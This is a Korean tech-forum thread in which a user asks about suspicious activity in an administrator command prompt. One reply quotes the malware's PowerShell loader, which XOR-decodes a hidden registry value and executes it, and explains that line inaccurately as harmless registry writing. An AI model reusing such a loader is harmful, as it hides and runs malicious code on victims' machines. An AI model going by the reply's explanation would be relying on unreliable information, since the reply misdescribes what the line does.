윈 도 우 몇일 전부터 윈도우에 이상한게 뜨네요 고수님들 알려주세요
2022.11.20 20:09
안녕하세요
몇일전부터 관리자명령프롬프트에 이상한게 자꾸뜨네요
Windows 11 Pro 22H2 22621.891 사용중입니다.
바이러스같기도하고 해킹같기도하고 모르겠습니다.
해결방법 부탁드립니다.
댓글 [5]
-
내꼬 2022.11.20 20:18 -
왕캔디 2022.11.20 20:27
바이러스인지 해킹인지 잘모르겠네요
재설치방법말고는 해결방법 없을까요? 알려주세요
-
zerojiddu 2022.11.20 22:28 일단 그코드를 실행시킨 건, .ps1 가 아닌 .bat 이나 .cmd 배치파일이구요.
그파일을 찾아서 삭제하세요.
배치파일내 파워쉘 문구를 실행시킨건데 아래와 같습니다.
invoke-expression "invoke-command ([scriptblock]::create([string]::join('', ((get-itemproperty -path 'HKLM:\Software\Microsoft\dRcy').'wDRcyIZ' | % { [CHAR]($_ -bXOR 70) }))))"
레지스트리 키에 하위키를 만들어서 그키에 비트값을 반복적으로 만드는 코드예요.
이 파워쉘 코드는 hklm\software\microsoft\dRcy 라는 레지스트리 키가 이미 있어야 에러가 안뜨구요.
문구중 'wDRcyIZ' 에 따옴표가 들어가 있는데, 이것도 에러가 뜨는 잘못된 표현이예요.
저 레지키는 정체불명의 키라 찾아서 삭제하세요.
그리고 파워쉘 디버그 모드에 들어갔는데, 저도 안들어가 본 모드고
일반적으로 전혀 필요하지 않아요.
-
windows97 2022.11.21 02:28
혹시 모르니 멀웨어제로나 멀웨어바이트, MRT같은거 돌려보세요
-
왕캔디 2022.11.21 04:56
어떻게 해야될찌 방법을 모르겠습니다.
번호 | 제목 | 글쓴이 | 조회 | 등록일 |
---|---|---|---|---|
[공지] | 질문과 답변 게시판 이용간 유의사항 | gooddew | - | - |
95607 | 하드웨어| 윈도우 운영체제 하드 교체질문 드립니다. [6] | 수사반장 | 524 | 12-19 |
95606 | 윈 도 우| gpt하드디스크의 자료를 살리면서 부팅되도록 할 수 있나요? [1] | brucex | 342 | 12-19 |
95605 | 하드웨어| 인텔 11세대 질문 [6] | 수사반장 | 442 | 12-19 |
95604 | 소프트웨어| 네이버 웨일 설치하고 실행시 & 포터블 로 실행시 &qu... | 임잉글랜드 | 332 | 12-19 |
95603 | 모 바 일| 안드로이드 와이파이 쉽게 설정하는 방법 없나요? [2] | 잘부탁드립 | 453 | 12-19 |
95602 | 윈 도 우| 시작 메뉴의 검색 바로가기 아이콘을 삭제 하고 싶습니다 [2] | 엠디아이알 | 268 | 12-19 |
95601 | 윈 도 우| 윈도우10 PC 초기화할 때, cd를 넣으라거나 이런 거 없나요? [2] | brucex | 562 | 12-19 |
95600 | 기 타| 노트북 에서 tv보는법 [5] | 까투리 | 1398 | 12-18 |
95599 | 윈 도 우| 윈도우 메모장.. [1] | 테츠로 | 592 | 12-18 |
95598 | 소프트웨어| 동영상 사이즈 일부분 cut 문의 [11] | 뷰티블마인 | 427 | 12-18 |
95597 | 소프트웨어| 새로 설치했는대도 실행이 안됩니다... [7] | assa | 495 | 12-18 |
95596 | 소프트웨어| M player apk 다운받은뒤 어떻게 사용하는건지요? [5] | joe | 414 | 12-18 |
95595 | 윈 도 우| 부팅시 비밀번호 삭제 [1] | 홍낄똥 | 620 | 12-18 |
95594 | 윈 도 우| 윈도우11 업데이트 후 작업표시줄 아이콘 [1] | 양치기영감 | 651 | 12-18 |
95593 | 윈 도 우| IoTko-kr [3] | 아직도 | 779 | 12-17 |
95592 | 기 타| 거실TV를 조작하면 안방TV가 켜지네요 [6] | 『ⓖⓤⓝ』 | 881 | 12-17 |
95591 | 기 타| 누누tv 드라마 다운방법 [2] | 해운50 | 1322 | 12-17 |
95590 | 윈 도 우| hp노트북 17인치 사용중 멈춤현상 [7] | 칼슘 | 544 | 12-17 |
95589 | 윈 도 우| 망윔 제작시 최적화 [6] | 홍은동초짜 | 601 | 12-17 |
95588 | 윈 도 우| 윈도우11 부팅후 프로그램이 실행되지 않거나 지연 실행됩니다 [3] | feynman | 511 | 12-17 |
최근 포럼 자료실이나 타 어둠 경로에서 리팩/포터블 버전 사용 하지 마세요.
작동 여부는 사용자 환경마다 다르니 감염 여부는 알 수 없어요
해결 방법 모르신다면 재설치 권장 합니다.
이 경고 댓글이 마지막 입니다.